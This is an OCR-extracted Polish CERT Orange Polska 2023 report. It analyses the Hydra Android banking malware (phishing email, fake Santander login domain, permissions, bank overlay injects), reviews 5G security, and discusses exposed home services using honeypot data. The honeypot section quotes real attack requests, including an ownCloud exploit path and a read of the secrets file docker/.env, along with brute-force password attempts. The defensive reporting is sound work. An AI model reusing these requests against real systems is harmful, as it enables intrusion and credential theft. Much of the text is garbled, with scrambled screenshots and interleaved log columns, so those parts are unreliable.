/data/data/*/files/.jm_data/

/data/data/*/files/.data/

/data/data/*/files/.data/.ss_log
/data/data/*/files/.data/bt_mark_recover.db
/data/data/*/files/.data/btdoinfo.db
/data/data/*/files/.data/phone.db
/data/data/*/files/.data/ss_1026.md

Adam Pichlak
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Z poczatkiem stycznia 2023 wystartowata kampania ztosliwego

oprogramowania na smartfony — Hydra. Tradycyjnie zaczynata
sie od maila, podszywajacego sie pod bank (tym razem

znoéw Santander) o rzekomej konieczno$ci instalacii

»aplikacji zabezpieczajacej”

& Santander

Szanowny Kliencie,
https://www.google.com/url?q=https:// . o i o .
Nasz system . com anej naszej aplikacji zabezpieczajacej na swoim
urzadzeniu Nopjl;2278sa=d@sntz=1&usg=aowawlys KONto zostato zablokowane. Wykonaj zalecane
kroki, aby us minbyicqhuydprcferd 1y zostang ponownie zniesione po ich wykonaniu.
Kliknij lub naciénij, aby Sledzié link.

Do strony giéwnej

Dzigkujemy za zrozumienie i prosimy o wybaczenie niedogodnosci

Z powazaniem

Santander Bank

© 2023 Santander Bank Polska S.A.

Co sie dziato po kliknieciu w link? To zalezy. W przypadku

wejscia z komputera stacjonarnego, badz z czesci sandboxow,

uzytkownik trafiat po serii przekierowan na strone — Shell.com
Jesli jednak link zostat uruchomiony w telefonie lub na
odpowiednio skonfigurowanej maszynie wirtualnej,
wchodziliSmy juz na te strone, ktérg zaplanowali oszusci:

centrum24.pl-centrum24.com/a1b2c3/39d4479f7805d19aea7a3e11d0c753f7/login/?

Centrum24.pl to aplikacja ustug bankowosci elektronicznej
Santander. Oszusci wykorzystali socjotechniczng sztuczke
zaktadajgc, ze znajda sie internauci, ktérzy zobaczywszy
znany adres... dalej nie bedg czytac¢. Ostateczny adres
oczywiscie jest fatszywy i tam znajdowata sie skopiowana
1:1 strona logowania banku. Jesli wpisali$my na niej login

i hasto — trafiaty one bezposrednio do przestepcy.

To oczywiscie nie wszystko. W kolejnym kroku uzytkownik
trafiat na propozycje instalacji zapowiadanej w mailu
»aplikacji bezpieczenstwa”.

& Santander

Instrukcja instalacji

Zabezpieczenia systemu Android od kilku wersji informuja
uzytkownika o ryzyku, jak widac¢ ponizej. Niestety jesli
uzytkownik chce jg $ciggnac — nie ma mozliwosci,

by go powstrzymac przed jej pobraniem...

CERT Orange Polska

Plik moze by¢ szkodliwy

W przypadku klientéw ustug dostepu do internetu CERT
Orange Polska blokuje dzieki CyberTarczy docelowe
ztosliwe witryny. Uniemozliwia to interakcje ze ztosliwym
oprogramowaniem juz na etapie monitu o pobranie.

W zaszytym kodzie tego oprogramowania mozna odnalez¢é
szereg ztosliwych funkcji.

iwograj@kali: ~
File Actions Edit View Help

artextTraffictargetActivity
descriptioresource
StopWithTasprioritmimeTypeschemevalueandroid+http: //schemas.android. con/apk/
res/androidpackageflplat formguildversionCodeflplatformBuildversionNanmanifest
6.0-2438415com. ngennqlp] . Lhfgducjdl. uses-sdkus
es-permission’ android. permission.ACCESS_NETWORK_STATENdroid.permission. INTERNET)android. permission.RECEIVE_BOOT_COMPLETED
$android. permission.ACCESS_WIFI_STATE$android.pernission.CHANGE_WIFI_STATEGandroid.permission. SYSTEM_ALERT_WINDOWandroid.
permission.WAKE_LOCK(android.pernission.HODIFY_AUDIO_SETTINGS android.permission.REORDER TASKSandroid.permission.WRITE S
Sndroid.permission. READ_SMSandroid.permission.RECEIVE_SMSndroid.permission.SEND_SNSandroid.permission. CALL_PHONE-android.
permission.ACCESS_NOTLFICATION_POLICY#android.pernission.READ_PHONE_STATEXandroid.pernission. READ_PHONE_NUMBERS android.p
ermission. READ_CONTACTS )android. permission.WRITE QUEST_INSTALL_PACKAGES7android.per
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Kluczowe wydaja sie bardzo bogate uprawnienia, zezwalajgce
m.in. na petng obstuge wiadomosci tekstowych, odczytywanie
listy kontaktow zapisanych w telefonie, czy tez jego

numeru. O ile jednak sg one popularne dla dzisiejszych wiruséw
przeznaczonych na telefony, to jedng z najbardziej istotnych

i niebezpiecznych mozliwosci jest umiejetno$¢ uruchamiania
tzw. injectéw.

Injecty (pl.: wstrzykniecia) sg nastepnie wykorzystane

do tzw. ,overlay attack” czyli umieszczanie przez malware

na wierzchu prawdziwej aplikacji wtasnego okna, w ktére
nieSwiadoma ofiara ma wpisac¢ login i hasto do swojego banku.
Analizujgc omawiang probke to wtasnie im przyjrzeliSmy sie
szczegdtowo.

Na poczatek zawartos¢ katalogu z injectami
(juz same nazwy wskazuja o jaki bank chodzi):

iwograj@kali: ~/Desktop/8nOCeTKaSSHbFX3PVHF tizbpbsXVIhJY7SP3uwGfin

File Actions Edit View Help

~[~/Desktop/8n0Ce TKasSHbFX3PVHFtizbpbsXVLhIY75P13unG/inj

Lits -1a
total 68
drux 17 iwograj iwograj 4096 Feb 1 2022
drwxr-xr-x 4 iwograj iwograj 4096 Jan 19 06:5

2 iwograj iwograj 4096 Feb 1

2 iwograj iwograj 4096 Jan 31

2 iwograj iwograj 4096 Jan 31 2

2 iwograj iwograj 4096 Dec 19

2 iwograj iwograj 4096 Dec 19

2 iwograj iwograj 4096 Jan 31

iwograj iwograj 4096 Sep 26
wograj iwograj 4096 Oct 21

3 iwograj iwograj 4096 Nov 13

2 iwograj iwograj 4096 Feb 10

2 iwograj iwograj 4096 Jan 22 2

2 iwograj iwograj 4096 Oct 5

2 iwograj iwograj 4096 Oct 8

3 iwograj iwograj 4096 Jan 31 2

2 iwograj iwograj 4096 Oct 5 2021

- [~/Desktop/8n0Ce TKaSSHbFx3PVHF tizbpbsXVLhIY75P13umG/inj

Co ciekawe, oprécz wielu bankéw w prébcee byty rowniez

injecty do kradziezy PIN-éw oraz haset z telefonéw Samsung

i Huawei.

Zobaczmy wiec jak prezentowaty sie poszczegdlne injecty

podczas ich potencjalnego uruchomienia na zainfekowanym

telefonie.

AERZT Bank

~/Desktop/8n0CeTKaSSHbFX3PVHF tizbpb

2 iwograj iwograj 4096 Feb 1
2 iwograj iwograj 4096 Jan 31

2 iwograj iwograj 4096 Jan 31 202
2 iwograj iwograj 4096 Dec 19 2

2 iwograj iwograj 4096 Dec 19 2

2 iwograj iwograj 4096 Jan 31

2 iwograj iwograj 4096 Sep 26

2 iwograj iwograj 4096 Oct 21

3 iwograj iwograj 4096 Nov 13

2 iwograj iwograj 4096 Feb 10

2 iwograj iwograj 4096 Jan 22

2 iwograj iwograj 4096 Oct 5

2 iwograj iwograj 4096 Oct 8

3 iwograj iwograj 4096 Jan 31

2 iwograj iwograj 4096 Oct 5 2021

Beim Login wird eine sichere Verbindung aufgebaut. Bite achten Sie darauf, dass Sie e
Zogangelaien auf keine nen unbekanten Sete engeben und diese geham naten

- [~/Desktop/8n0CeTKaSSHBFX3PVHF tizbpb

Barerefrei | English

EasyBank

File Actions Edit View Help

~/Desktop/8nOCeTKaSSHEF X3PVHE 3 2bpbsXVLN3Y75P 3G/ inj

2 iwogra) iwograj 4096
2 iwogra) iwograj 4096 Jan 3
2 iw 96 Sep 24

~/Desktop/8nOCeTKaSSHEF X3PVHE 4 2bpbsXVL3Y75P L3NG/ inj

99bank

Konto verkniipfen <
Mit bank99 Konto verkniipfen

Online Banking der bank99

a) 4996 Nov 13 2021
35 iwogra) 4096 Feb 10 2022
e Kundennummer / Benuizemame @)

5 202

~/Desktop/BnOCETKASSHEF X3PVHF tizbpbsXVLhIY7SPL3unG/ in)

Login

Comdirect Bank

tions Edit View Help

~/Desktop/8ROCETKAS SHDFXIPVHFtizbpbsKVLhIY75P13unG/ inj

comdirect

comdirect Login

Zugangsnummer | Benutzername ®

Zugangsnummer speichern ©
2 iwogra) iwograj s PIN | Passwort [0)
~/Desktop/SnOCETKAS SHOFXIPYHFt3ZbphsKVINIY7SPL3uNG/ in)
PIN | Passwort [o]
Personicher Bereich -
Anmelden

> Zugangsdaten vergessen / Zugang gespert?

Kunde werden

Volksbank Bank

File Actions Edit View Help

~/Desktop/8n0C TKaSSHBF XIPVHF i 2bpbs XVLRIY7SPLIUWG/in)
B -la
total 68
drmx 17 iwograj iwograj 4096 Feb 1
drwxr_xe-x 4 iwograj iwograj 4096 Jan 19
iwog 1

dun

~/Desktop/8n0CaTKaSSHBF XIPUNF £ 2bpbs XVLIVZSPL3uwG/inj

Benutzername vergessen?

BAWAG

N Kali Forums
~/Dasktop/SnOCETRISSHEF X3PVHF tizbpbsXVhIY7SPLIuwG/inj 2

-l

total 68

drwx—— 17 iwograj iwograj 4096 Feb 1 2022
4 06

Jak wida¢ wiekszo$¢ z injectéw nalezata gtéwnie do bankéw
z krajéw zachodniej Europy. Oczywiscie nie jest powiedziane,
iz po krétkim uptywie czasu na telefonie mogtyby zostac
Sciaggniete juz konkretne injecty na polskie banki.

Analizowana prébka pobierata swoje injecty ze strony:

Analiza Hydry pokazuje jak duze mozliwosci ma
dotychczasowe ztosliwe oprogramowanie przeznaczone

na smartfony. Zawsze warto pamietac, aby instalowac i uzywac
wytgcznie oryginalnych aplikacji naszego banku, Sciggnietych

z oficjalnego sklepu. Dlaczego? Poniewaz mozemy straci¢
duzo wiecej niz tylko hasta dostepowe, ale takze nasze
pienigdze z konta.

Iwo Graj
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Czy po wprowadzeniu technologii 8G
sieci mobilne stang sie bezpieczniejsze?

Kazda nowa technologia niesie ze sobg’nowe
funkcjonalnosci. Sie¢ 5G oprocz szybszej transmisji

danych, mniejszych opdznien pakietéw'i wiekszej
pojemnosci, oferuje réwniez nowe funkcjonalnosci
zwiekszajgce bezpieczenstwo sieci i uzytkownikow.

Jest to odpowiedz zespotu standaryzujgcego nowe
generacije sieci na wykryte podatnosci w starszych wersjach,
jak rébwniez na zmieniajaca sie rzeczywistos¢, w ktérej norma
stajg sie cyberataki na masowa skale. Nie bez znaczenia
jest tez fakt, ze sieci telekomunikacyjne migruja w strone
technologii IT, gdzie zaréwno cyberatak, jak tez cyberobrona
sg znacznie bardziej zaawansowane ze wzgledu na wieksza
ich popularnos¢ i dostepnosc. W przypadku architektury

5G Non-Standalone (NSA), ktéra bedzie implementowana

w pierwszej kolejnosci i ktdra polega na tym, ze sieé¢
radiowa 5G wspétpracuje ze starg siecig rdzeniowa 4G,
poziom bezpieczeristwa nie zmieni sie. Zmiany umozliwi
dopiero wdrozenie nowej sieci rdzeniowej 5G, czyli
architektura 5G Standalone (SA).

Z punktu widzenia bezpieczenstwa najistotniejsza
nowoscig w 5G SA jest Security Edge Protection

Proxy (SEPP), ktory poza mozliwoscia blokowania
niebezpiecznej komunikacji (funkcjonalnos¢é firewall)
zapewnia rowniez szyfrowanie i uwierzytelnianie

za pomoca certyfikatow ruchu roamingowego pomiedzy
siecia macierzysta a siecia wizytowana. Uniemozliwia

to podszycie sie pod jedng ze stron komunikaciji, jak tez
podstuchanie czy nieuprawniong modyfikacje komunikatow
na catej ich drodze czesto przez wielu carrierow i wiele
krajéw. Certyfikaty do uwierzytelnienia i szyfrowania
komunikacji stosowane sg réwniez pomiedzy elementami
sieci wewnetrznej operatora.

Nowoscig 5G SA jest mozliwos¢ zabezpieczenia
integralnosci danych uzytkownika na interfejsie radiowym

(w poprzednich generacjach mozliwe byto to tylko

dla danych sterujgcych/kontrolnych) oraz dodatkowy
zaszyfrowany identyfikator uzytkownika Subscription
Concealed Identifier (SUCI). SUCI przesytany na interfejsie
radiowym zamiast IMS| oraz czestsza zmiana tymczasowego
identyfikatora GUTI (Globally Unique Temporary Identifier)
zwieksza prywatnos¢ oraz anonimowos¢ uzytkownikéw

i utrudnia ich $ledzenie (tracking).

Kolejng nowoscig jest Network Exposure
Function (NEF) zdefiniowany po to, aby
udostepnia¢ w bezpieczny sposéb zasoby
i dane sieci 5G dla aplikacji 3rd party.

Z kolei wprowadzone w 5G SA segmentowanie

sieci pozwala odseparowac od siebie grupy
uzytkownikéw o réznych wymaganiach. Na przykfad
wydzielona podsie¢ dla urzadzen loT, ktérych bedzie
bardzo duzo, ktére czesto sg stabo zabezpieczone,

CERT Orange Polska

tatwo mogg zosta€ przejete i stac sie czescia bétnetu
pomoze unikng¢ niepozadariego ich wptywu na‘ingych
uzytkownikéw.Biorgc pod uwage opisane powyzej
funkcjonalnosci mozna stwiérdzi¢, ze bedzie
bezpieczniej. Sytuacja jest jednak bardziej ztozona.

Po pierwsze funkcjonalnosci bezpieczenstwa
pojawiajace sie z 5G sg opcjonalne — wdrozenie

ich wymaga dodatkowej pracy i nie zawsze jest proste.
Na przyktad wiekszos$¢ wdrozonych obecnie na $wiecie
sieci 5G SA nie ma wtaczonego szyfrowania komunikacji
za pomoca certyfikatéw. Spowodowane jest to brakiem
gotowosci czesci opfogramowania oferowanego

przez dostawcéw sprzetu 5G dé obstigi automatycznego
zarzgdzania certyfikatami‘czy tez odszyfrowania
zaszyfrowanej komunikacji na potrzeby.troubleshootingu.

Poza tym bezpieczenstwo sieci to temat znacznie

szerszy niz tesfunkcjonalnosci a poszczegolne sieci-réznig
sie od siebie pod wieloma'wzgledami. Majg-np.-réznych
dostawecéw. W oprogramowaniu dostarczonym-przez
dostawce moga kry¢ sie podatnosci bezpieezenstwa,
ktére jeden operatormoze wykry¢ i-zmitygowaé-a-inny
niekoniecznie. Sieci‘sg réznie zaprojektowane i ich
architekturamoze w rézny sposob utrudnic

atakujgcemu = ktory zdobyt dostep do elementu

na brzegu sieci, przedostanie sie w gtab sieci do batdzi€j
krytycznych elementéw, gdzie moze wyrzadzi¢ wiecej
szkdd. Warto wzigé tez pod uwage fakt, ze wprowadzenie
technologii 5G nie zawsze oznacza rezygnacje ze starszych
technologii co w szczegdlnosci przy niewystarczajgcej
izolacji sieci powoduje, ze podatnosci bezpieczenstwa
starszych technologii sg nadal aktualne a technologia

5G wnosi dodatkowe wektory ataku.

Wyeliminowanie wszystkich podatnos$ci moze

w praktyce okazac sie niemozliwe i dlatego bardzo
istotne jest monitorowanie bezpieczenstwa,sieci

i natychmiastowe podejmowanie dziatan w przypadku
wykrycia incydentu bezpieczenstwa.

Piotr Szarata

Wiekszos$¢ dostawcow ustugi dostepu do internetu (ISP)
ma w swojej ofercie mozliwos$¢ korzystania ze statych badz
zmiennych publicznych adreséw IP. Nawet jezeli w ofercie
podstawowej stosowany jest CGN (czyli NAT na poziomie
operatora) i klienci pracuja na adresacji prywatnej,

to za niewielka optata mozna ,dokupic¢” adres publiczny.

Korzystanie z takich adreséw, oprécz dodatkowych
mozliwosci, wigze sie takze ze znacznym zwiekszeniem
ekspozycji na ataki z internetu. Zagrozeniem tym zajmiemy
sie od strony teoretycznej i praktycznej, na podstawie
obserwacji zdarzen na honeypotach.

W niniejszym artykule skupimy sie wytacznie na adresacji
ISP, w ramach ustug dostepu do internetu $wiadczonych
dla segmentu klientow indywidualnych i SOHO.

Nie bedziemy zajmowac sie rozwigzaniami
profesjonalnymi, tj. ustugami hostingu, chmura,

czy klientami pracujacymi na wtasnej adresaciji.

Na wstepie wyjasnijmy podstawowe terminy zwigzane

z adresacjg w ustugach dostepu do internetu. Mamy
infrastrukture sieciowg operatora (lewa strona na rysunku 1)
Przekierowanie portdw oraz DMZ), zarzadzane przez
operatora badz klienta urzagdzenie dostepowe (router

z modemem mobilnym, modemem DSL, urzadzeniem ONT
czy innym, w zaleznosci od medium) oraz sie¢ LAN klienta
(prawa strona rysunku 1).

4.3.2.1:3241->12.3.4:80 4.3.2.1:3241 -> 192.168.1.10:8080
>

L »
ROUTER ( o
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/f

192.168.1.20

Y y
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Hosty w internecie majg adresy publiczne. Dzieki temu

moga sie ze sobg swobodnie komunikowaé. Te w sieci
lokalnej natomiast posiadajg adresy prywatne, wiec moga
komunikowac sie tylko miedzy soba. Jezeli host z sieci
lokalnej potrzebuje skomunikowac sie z hostem w internecie,
wowczas konieczne jest ,przettumaczenie” jego adresu
prywatnego na adres publiczny. Zazwyczaj odbywa sie to

na routerze klienta, ktéry ma funkcjonalno$é NAT

(Network Address Translation).

Poniewaz pula dostepnych adreséw IPv4 jest stosunkowo
mata (teoretycznie 4 mld adreséw, dodatkowo cze$é

tej puli jest zarezerwowana np. na adresacje multicast
albo prywatng) w relacji do liczby klientéw

w internecie, takze po stronie operatorow stosowane

sg rozwigzania typu NAT, w tym przypadku nazywane
CGN/CGNAT (Carrier-Grade NAT). W takiej sytuacji modem
klienta pracuje w adresacjach prywatnych zaréwno w LAN,
jak i od strony operatora, a translacja na adres publiczny
wykonywana jest dopiero przez CGN. Takim wariantem

nie bedziemy sie dalej zajmowaé, skupimy sie wytacznie
na ustugach bez NAT operatora i z adresem publicznym
po stronie klienta.

Co zrobié, jezeli urzadzenia badz ustugi klienta powinny
by¢ dostepne od strony internetu? Stosowana jest zazwyczaj
jedna z trzech opcji:

urzadzenie klienta przytgczone bezposrednio do sieci
operatora (np. modem z kartg SIM pracujgca w adresaciji
publicznej);

przekierowanie portéw, czyli konfiguracja NAT w taki
sposob, by ruch przychodzacy na okreslony port

na adresie publicznym byt automatycznie przekierowywany
na ten sam badz inny port konkretnego hosta w LAN;

DMZ, czyli wydzielenie podsieci (w szczegdlnosci
dla jednego hosta) odizolowanej od sieci lokalnej,
do ktodrej trafia ruch przychodzacy od strony internetu.

Ze wzgledu na rodzaj urzgdzen wystawianych do internetu,
dzielimy je umownie na Internet Rzeczy (loT) oraz serwery.

Urzadzenia loT

Do najczesciej wystawianych do internetu urzadzen naleza:

Serwery NAS (Network Attached Storage).
Wystawienie w internecie umozliwia uzytkownikom
zdalny dostep do zgromadzonych zasobdéw

oraz wspotdzielenie plikdw.

Monitoring, np. kamery, fotoputapki, alarmy. W celu
zdalnego dostepu do takiego urzadzenia, wystawiane
sg one bezposrednio do internetu (np. dzieki karcie SIM
z APN w adresaciji publicznej), albo ustawiane jest
przekierowanie portu na routerze.

Drukarki/skanery. W tym przypadku wystawienie
bezposrednio do internetu czesciej jest skutkiem btedne;j
konfiguracji niz $wiadomej decyzji.

Rozwigzania ,smart home”. Dla zdalnego odczytu
mierzonych parametrow, czy wyzwolenia konkretnych
akcji (zmiana temperatury, zamkniecie rolet itp.).

cert.orange.pl


https://cert.orange.pl/

Raport CERT Orange Polska 2023

= Routery. Bramy domowe, oprécz posredniczenia
w przenoszeniu ruchu miedzy LAN a WAN, same réwniez
$wiadcza ustugi sieciowe. Najczesciej sg to interfejsy
zarzadzania samym routerem, resolver DNS, czy serwer
NTP. O ile interfejs zarzadzania jest czasem wystawiany
$wiadomie, pozostate ustugi najczesciej majg by¢
Swiadczone w LAN, a dostep z internetu jest wynikiem
btednej konfiguraciji.

Udostepniania wiekszosci z powyzszych bezposrednio

do sieci mozna uniknag¢, np. korzystajac z dyskéw w chmurze,
czy monitoringu z wykorzystaniem serwera posredniczacego
dostawcy urzgdzenia.

Ustugi serwerowe

WSsrod ustug serwerowych na adresaciji klienckiej
znajdziemy najczesciej:

m Serwery WWW, plikéw (FTP) oraz poczty. Wystawiane
np. przez klientéw segmentu SOHO dysponujacych
tgczami symetrycznymi o duzej przepustowosci.

W tym przypadku ekspozycja ma celu udostepnienie
ustugi klientom.

m Serwery bazodanowe. Czesto funkcjonujagce w ramach
backend serwera www i wystawione do internetu przez
pomytke (publikacja ustugi na wszystkich interfejsach
serwera, btedna konfiguracja firewalla). Zazwyczaj baza
danych nie powinna by¢ dostepna bezposrednio
z internetu, a interakcje z nig odbywac sie
za posrednictwem backendu aplikaciji.

m Bramki VPN. Urzadzenia umozliwiajace zdalny dostep
do sieci domowej lub firmowej. W zasadzie zawsze
wystawiane celowo przez administratoréw sieci.

= Prywatne serwery gier. Hostowane gtéwnie przez klientow
indywidualnych w celu utrzymywania gier multiplayer.

Protokoty i porty

Na podstawie raportéw ze skandéw oraz danych
udostepnianych przez serwisy takie jakie Shodan czy Censys,
mozna probowaé oszacowac liczbe portdéw wystawionych

do internetu w sieciach polskich ISP (rysunek 2).

TCP/80 HTTP

TCP/443 HTTPS 500
TCP/4567 HTTP (panel zarzadzania) 300
TCP/21 Telnet 300
UDP/161 SNMP 200
TCP/22 SSH 200
TCP/25 SMTP 200
TCP/993 IMAPS 180
TCP/143 IMAP 180
TCP/995 POP3S 180
TCP/587 SMTPS 180
TCP/110 POP3 150
TCP/465 SMTPS 150
TCP/3306 MySQL 200
TCP/5342 PostgreSQL 170
UDP/123 NTP 100,

Rysunek 2. Szacowana liczba otwartych portdw w adresacji
polskich ISP (opracowanie wtasne na podstawie wynikow
skandw oraz danych udostepnianych przez Shodan i Censys)
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Jak fatwo zauwazy¢, liczba hostéw widocznych w samym
tylko polskim internecie, siega setek tysiecy w przypadku
najpopularniejszych ustug! Dlaczego tak sie dzieje?

Przyczyny

Popularne przyczyny wystawiania przez klientow ustug
do internetu:

u Pozostawienie domysinej konfiguracji urzadzenia.

By utatwi¢ pierwsze uruchomienie urzgdzenia, niektérzy
producenci w domysinej konfiguracji wytaczajg wszystkie
zabezpieczenia i publikujg petny zakres ustug. W zatozeniu
klient po uruchomieniu powinien dokona¢ stosownych
zmian w konfiguracji. Tymczasem albo o tym nie pamieta,
badz nie potrafi tego zrobic.

L] Wystawianie ustug we wszystkich strefach, zamiast
wytacznie w LAN. W menu konfiguracji np. routera,
klient czesto ma mozliwos$¢ wyboru, czy ustuga powinna
by¢ widoczna publiczne.

L] Ustugi w kontenerach. Docker podczas publikowania
portu zmienia konfiguracje firewalla w celu otwarcia ruchu
przychodzacego. Jezeli przypadkowo ustuga zostanie
opublikowana na wszystkich interfejsach (ustawienie
domysline), wowczas bedzie dostepna ze wszystkich
adresacji skonfigurowanych na serwerze.

= Ustugi P2P. Z natury powinny by¢ dostepne publicznie,
dlatego klienci $wiadomie przekierowujag porty/
wyfaczaja filtrowanie ruchu na powigzanych z nimi portach.

u UPNP. Urzadzenia i aplikacje moga wykorzystywac
protokét UPnP do rekonfiguraciji routera/firewalla
i wtgczenia przekierowania portu/wytgczenia filtrowania
ruchu. Funkcjonalno$¢ ta miata w zatozeniach utatwiac
uruchamianie urzadzen przez mniej Swiadomych klientow,
w praktyce jednak przyczynia sie do powstawania nie
zamierzonych luk w zabezpieczeniach.

u Wykorzystanie podatnosci. Wykorzystujgc podatnosci
aplikacji bgdz urzadzen, przestepcy uzyskujg dostep
do konfiguracji i otwierajag ustugi do internetu celem ich
pdzniejszej exploitaciji.

= Brute force. Stabe badz domysine hasta skonfigurowane
w interfejsach dostepnych z internetu moga przyczynic¢
sie do przejecia kontroli nad urzadzeniem. Nastepnie,
podobnie jak w przypadku podatnosci, umozliwia to
atakujgcym zmiane konfiguracji i wystawienie kolejnych
ustug.

L] DMZ. By utatwi¢ wystawianie ustug do internetu, klienci
wstawiajg urzadzenie w DMZ. Niestety, jezeli nie zadbajg
o prawidtowg konfiguracije firewalla, oprécz ustugi, ktorg
Swiadomie chcieli opublikowa¢, do internetu wystawiane
sg takze pozostate porty urzadzenia.

Monitorowanie zagrozen

Wsrod narzedzi detekciji oraz analizy atakow sieciowych
stosowanych przez zespoly cyberbezpieczenstwa,
istotna role petnia honeypoty - systemy

z celowo pozostawionymi podatnosciami, “

ktorych rola jest udawanie prawdziwych C J
systemow i monitorowanie dzieki

temu dziatan atakujacych.

W zespole CERT Orange Polska wykorzystywanych jest
wiele réznego rodzaju honeypotéw, analizowane sg takze
dane udostepniane przez podmioty zewnetrzne. Zwieksza
to $wiadomos¢ skali i celéw atakow oraz technik
wykorzystywanych przez atakujgcych.

Zdarzenia rejestrowane na honeypotach mozemy

umownie podzieli¢ na 3 grupy: skanowanie, przetamywanie
zabezpieczen oraz proby wykorzystania do atakowania
kolejnych celéw. Omowimy pokrotce kazdg z nich.

Skanowanie

Skanowanie to najczesciej rejestrowane zdarzenia.

Ich celem jest inwentaryzacja sieci, hostéw oraz ustug
widocznych w sieci, zbieranie informacji o wersjach
oprogramowania, konfiguracji, wykrywanie podatnosci
i btedéw konfiguracii, ktére moga by¢ wykorzystane
do pdzniejszych atakéw. Najczesciej skanowane
porty/ustugi przedstawia rysunek 3 w podziale

na porty docelowe. Do czotdéwki nalezg m.in.:

L icmp — prosty skan stuzacy do wyszukiwania
aktywnych hostéw

= tcp/22 (SSH ) i tcp/23 (Telnet) — prowadzone w celu
wykrycia hostow z wystawionymi ustugami
umozliwiajgcymi zarzagdzanie urzadzeniami, wykonywane
na duza skale m.in. przez botnety takie jak Mirai
do znajdowania kolejnych potencjalnych botéw

u tcp/445 (SMB) — obecnie rzadko wystawiany
w internecie, niemniej ze wzgledu na liczne podatnosci
w jego starszych wersjach, stanowi atrakcyjny
cel dla atakujgcych

m tcp/80 (HTTP), tcp/8080 (HTTP) i tcp/443 (HTTPS)
— podatne aplikacje webowe oraz panele logowania

m tcp/3389 (RDP) i tcp/5900 (VNC) — wyszukiwanie
ustug zdalnego dostepu w celu przejecia kontroli
nad hostami z wykorzystaniem m.in. prostych
do ztamania haset

m tcp/21 (FTP) — wyszukiwanie serwerdéw FTP
wystawionych bez hasta/z fatwym do ztamania
hastem

ICMP
TCP/22
TCP/23

TCP/1433
TCP/80

TCP/3389

TCP/445
TCP/443

TCP/5900

TCP/8080

TCP/3306

TCP/9200

TCP/8081
TCP/21
TCP/25

o

200

S
o
o
[}
o
o

800 1000 1200

Rysunek 3. Dobowa liczba unikalnych skanujgcych IP
w podziale na porty docelowe

Ataki na dostepne publicznie urzadzenia klienckie

W przypadku protokotéw SSH, Telnet czy http kazdy

z naszych honeypotow jest skanowany przez kilka tysiecy
hostow dziennie. Czy oznacza to, ze skala dziatalnosci
przestepczej jest az tak duza? Niekoniecznie. Skanowanie
to nie tylko domena przestepcow. Wsrdd zrédet skanowania
widocznych na honeypotach, na podstawie zrédtowych
adreséw IP, mozna zaobserwowaé takze podmioty

takie jak m.in.:

m komercyjne wyszukiwarki hostow i ustug, takie
jak m.in. Shodan i Censys;

u organizacje non-profit zajmujace sie wykrywaniem
zagrozen sieciowych;

L] jednostki CERT/CSIRT (zaréwno publiczne w zakresie
ich odpowiedzialnosci, jak i nalezace m.in. do ISP
nadzorujgcych swojg przestrzen adresows);

u producenci/dostawcy ustug i narzedzi bezpieczenstwa
w celu oceny poziomu zagrozen;

L] uczelnie i inne placoéwki naukowo-badawcze: w ramach
prowadzenia badan naukowych.

Ataki

Znacznie grozniejszym od skanowania rodzajem zdarzen
sg préby exploitacji hosta. Rysunek 4 prezentuje CVE
najczesciej wykorzystywane wobec naszych honeypotéw.
Jak widaé, wiekszo$¢ podatnosci jest dos¢ wiekowa,

ale atakujgcy wykorzystuja efekt skali. Atakujgc miliony
hostow na catym Swiecie, w koncu trafiajg na urzgdzenie
nieaktualizowane od wielu lat.

Rysunek 4. CVE najczesciej probowane na honeypot

Widzimy takze préby uzycia $wiezych podatnosci.

Na przyktad na rysunku 5 wida¢ prébe wykorzystania
odkrytej w 2023 podatnosci CVE-2023-49103 dotyczacej
oprogramowania ownCloud, czyli ustugi hostingu plikéw
wystawianej czesto na adresacji klienckiej.

W drugim wierszu widzimy prébe odczytania pliku

docker/.env zawierajgcego zazwyczaj zmienne $rodowiskowe
(w tym klucze i hasta) dla ustug kontenerowych.

timestamp source.country source.as_org url.path

2023-12-1118:42:07.456 |Bulgaria __|TerasystLtd |GET /owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpinfo.php HTTP/1.1

2023-12-11 18:41:48.936 |Bulgaria Terasyst Ltd  |GET /docker/.env HTTP/1.1

Rysunek 5. Przyktady prob atakow na ownCloud i docker
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Poza wykorzystywaniem podatnosci

w oprogramowaniu, atakujacy prébuja takze mniej

wyrafinowanych metod. Widzimy préby zgadniecia

hasta do ustugi FTP (rysunek 6), albo ustugi telnet

(rysunek 7). W tym przypadku honeypot wprowadzit il
atakujgcego bota w btad, sugerujac, ze hasto zostato 125
odgadniete. Dzieki temu widzimy dalsze kroki

atakujacego, po rzekomym przetamaniu

. . 12345
zabezpieczen.
Najczesciej probowane hasta przedstawiamy
na rysunku 8. Co nie powinno dziwi¢, sporo
z tych haset znajduje sie w publikowanych
co jaki$ czas wyciekach.
Y T . Amplifikacja DDoS
vt b ste L. o1 : Ostatnig grupg obserwowanych zagrozen jest wykorzystanie

wystawionych ustug do dalszego atakowania/wzmacniania
atakow. Co gorsza, w przypadku niektorych typéw atakdw nie

36:37.945 Bulgaria Natskovi & Sie 9 0 oracle 40K User ace

36:35.858 Bulgaria Natskovi & Sie 9 PASSHoOrD -ERR Authentication failed

e paT jest konieczne wczesniejsze przetamanie zabezpieczen. Sytuacje
Notskovi & Sie Lea. “ERR Authentication failed. takg mamy m.in. w przypadku atakéw Reflection/Amplification

o sl : DDoS z wykorzystaniem protokotéw SNMP, NTP oraz przede
wszystkim DNS. Schemat takiego ataku przedstawiono na
rysunku ponize;.

36:38.155 Bulgaria s E y 9 PASS PassorD -ERR Authentication failed

36:38.856 Bulgaria s) e 9 s oracle +0K User accepted

36:29.805 Bulgaria s 3 & admin!6#123 -ERR Authentication failed

Bulgaria Natskovi & Sie 91.92 - +0K Logging out

Bulgaria Natskovi & Sie
Bulgeria
7 Bulgaria
36:17.388 Bulgeria

11:36:17.288 Bulgaria Natskovi & Sie
o

B

payload_printable root
«..default
root
...7ujMko@admin

atakujgcy botnet serwery DNS ofiara

guest
...12345
root
...system
enable

o et e S . ninroypon 1E0 Atak ten polega na wykorzystaniu tzw. open resolveréw
T e R R S s e e e (serwerow DNS odpowiadajacych na zapytania spoza swoje]
sieci) w celu zwiekszenia sity ataku DDoS. Atakujacy wysyta
fatszywe zapytania DNS do otwartych resolveréw, podszywajac
sie pod adres IP ofiary ataku. Serwery DNS odpowiadaja
na te zapytania, przesytajac znacznie wieksze odpowiedzi
zwrotne (takie jak rekordy TXT lub wszystkie — ANY), niz zadania
poczatkowe. Przyktad takiego zapytania na rysunku 10.
Atakujacy pyta o wszystkie rekordy — zapytanie typu ANY.
